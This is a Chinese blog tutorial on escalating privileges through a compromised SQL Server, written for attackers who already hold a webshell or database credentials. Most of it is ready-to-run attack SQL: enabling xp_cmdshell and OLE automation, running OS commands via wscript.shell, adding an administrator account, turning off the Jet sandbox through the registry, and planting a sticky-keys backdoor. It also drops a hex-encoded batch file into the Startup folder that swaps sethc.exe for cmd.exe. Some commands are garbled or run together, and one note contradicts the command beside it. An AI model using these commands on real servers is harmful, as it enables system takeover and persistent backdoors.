SqlServer提权

前话

    其实SqlServer的提权与Mysql的UDF提权是一个道理,当我们拿到webshell后,权限太低无法使用常规的系统漏洞进行提权时,如果恰好数据库服务的运行权限较高,例如是个系统权限(通常sqlserver2000和2008安装后默认权限是系统权限),则我们可以通过sqlserver提权,让自己以同数据库服务一样的系统权限进行命令执行。而如果是直接拿到了数据库,而不是通过webshell,则有两种思路,一种是数据库权限比较高,可以直接用数据库进行提权来执行命令。第二种是数据库运行权限较低,但也能执行低权限用户的命令,则需要利用系统漏洞进行提权。

 

概念:

    根据百度百科的解释,存储过程是在大型关系型数据库中,一组完成特定功能的Sql语句集,在数据库中,经过一次编译之后调用不需要再次编译,用户通过指定存储过程的名称并给出参数(如果有的话)来执行它。

 

常见提权方式

xp_cmdshell

sp_oacreate

CLR

wscript.shell

沙盒提权

利用sethc.exe 替换文件提权

db_owner

 

演示

    这里的所有提权操作直接用数据库管理工具在连接数据库的情况下进行操作,因为即使我们是通过webshell进行的操作也是需要在webshell上先连接数据库的。而连接数据库的账号密码需要从webshell中去翻阅配置文件,通常.NET的站点配置信息写在Web.config中,里面会有数据库账号密码和连接的数据库名称。

       当前数据库的运行权限:

 

 

 注:SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开

开启xp_cmdshell:

exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;

关闭xp_cmdshell:

exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 0;RECONFIGURE;

开启'OPENROWSET':

exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;

开启'sp_oacreate':

exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure'Ole Automation Procedures',1;RECONFIGURE;

 

xp_cmdshell

 

首先要开启这个存储过程:

exec sp_configure 'show advanced options',1;reconfigure;

       执行这条语句是因为:show advanced options,“显示高级选项”选项用来显示 sp_configure系统存储过程高级选项。当“显示高级选项” 设置为 1 时,可以使用sp_configure 列出高级选项。默认值为 0。通过这条命令将其修改为1。(简单理解就是这个值要设置为1才能启用xp_cmdshell)

 

 

 

 

接下来就可以执行命令了,查看当前 用户权限:

exec master.dbo.xp_cmdshell 'whoami';

可以看到已经可以利用和数据库一样的administrator的权限进行执行命令了。

(这里再次提醒,不用在意这里为什么不是system权限,有这个疑问的回到上面看“前话”)

 

 

 

 

 

 

 

 

 

 EXEC sp_configure 'Ole Automation Procedures', 1;

 

 

执行命令:

先声明一个变量(reboot)用来存储返回的对象

1.declare @reboot int;

使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@reboot变量中。

2.exec sp_oacreate 'wscript.shell',@ reboot out;

使用sp_oamethod 调用@reboot对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null

3.exec sp_oamethod @reboot,'run',null,'c:\windows\system32\cmd.exewhoami'

4.exec sp_oacreate 'wscript.shell',@reboot out

上面这几行语句需要一起进行执行,不是单个执行:

 

 

 

 

 

 

 执行完成后同样进行一下还原:

 

sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0; 
RECONFIGURE;

 

 

 

 

'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;

 

执行这条语句之前要先执行EXEC sp_configure 'show advanced options', 1; 才可以。

 

CLR

       SQLCLR (SQL Common Language Runtime) 是自 SQL Server 2005 才出现的新功能,它将.NET Framework中的CLR服务注入到 SQL Server 中,让 SQL Server 的部分数据库对象可以使用 .NET Framework 的编程语言开发(只支持VB.NETC#),包括预存程序、用户自定义函数触发程序、用户自定义类型以及用户自定义汇总函数等功能。

 

       MicrosoftSQL Server 现在具备与 Microsoft Windows .NETFramework

的公共语言运行时 (CLR) 组件集成的功能

CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。

对于 SQL Server 用户和应用程序开发人员来说,CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic.NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。

要通过此种方式来执行命令,也有几个前提:

 

 

1、在SQLServer上能启用CLR并可以创建自定义存储过程

2、SQL Server当前账号具有执行命令/代码所需要的权限

 

 

 

 

wscript.shell

 

使用wscript.shell直接添加系统帐户(限xp或2003server):

 

 

declare @shell int exec sp_oacreate'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'

 

 

declare @shell int exec sp_oacreate'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 新用户 /add'

 

沙盒提权

 

       沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

1.开启沙盒模式:

 

exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

 

 沙盒模式SandBoxMode参数含义(默认是2)

 

 

“0” :在任何所有者中禁止启用安全模式

“1” :为仅在允许范围内

“2” :必须在access模式下

“3” :完全开启

 

 2.利用jet.oledb执行系统命令:

 

 

select * fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','selectshell("cmd.exe /c whoami")')

 

  同样,使用完进行恢复:

 

 

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

exec sp_configure 'Ad Hoc Distributed Queries',0;

reconfigure;

exec sp_configure 'show advanced options',0;

reconfigure;

 

 

利用sethc.exe 替换文件提权

 

注:前提是要有sa账户的账户密码。这个利用的其实就是shift后门,这个能否使用成功跟操作系统也有关系,较老的系统可以使用。

 

 

declare @o int

exec sp_oacreate 'scripting.filesystemobject',@o out

exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

 

declare @oo int

exec sp_oacreate 'scripting.filesystemobject', @oo out

exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

 

 

 执行完毕后在登录时连按5次shift进行登陆。

 

db_owner

 

当xp_cmdshell无法使用时可以使用该方法。

这个利用的其实就是shift后门,这个能否使用成功跟操作系统也有关系,较老的系统可以使用。

注:实验时可以先执行以下命令将xp_cmdshell禁用

sp_configure'show advanced options',1

reconfigure

go

sp_configure'xp_cmdshell',1

reconfigure

go

 

 

 

exec master..xp_dirtree 'c:\',1,1

 

 

 查看启动项

execmaster..xp_dirtree'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\';

 注:这个路径根据具体情况进行调整,不一定都在这个路径。

 

 

alter database master set RECOVERY FULL;
create table cmd (a image);
backup database master  to disk = 'c:\cmd' with init;
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A);
backup database master  to disk = 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat';
drop table cmd;

 

 

 

------------------------------------------------------------------------------

 

欢迎分享转发。

(信安随笔)

 

posted @ 2020-02-07 19:42  rebootORZ  阅读(417)  评论(0)    收藏  举报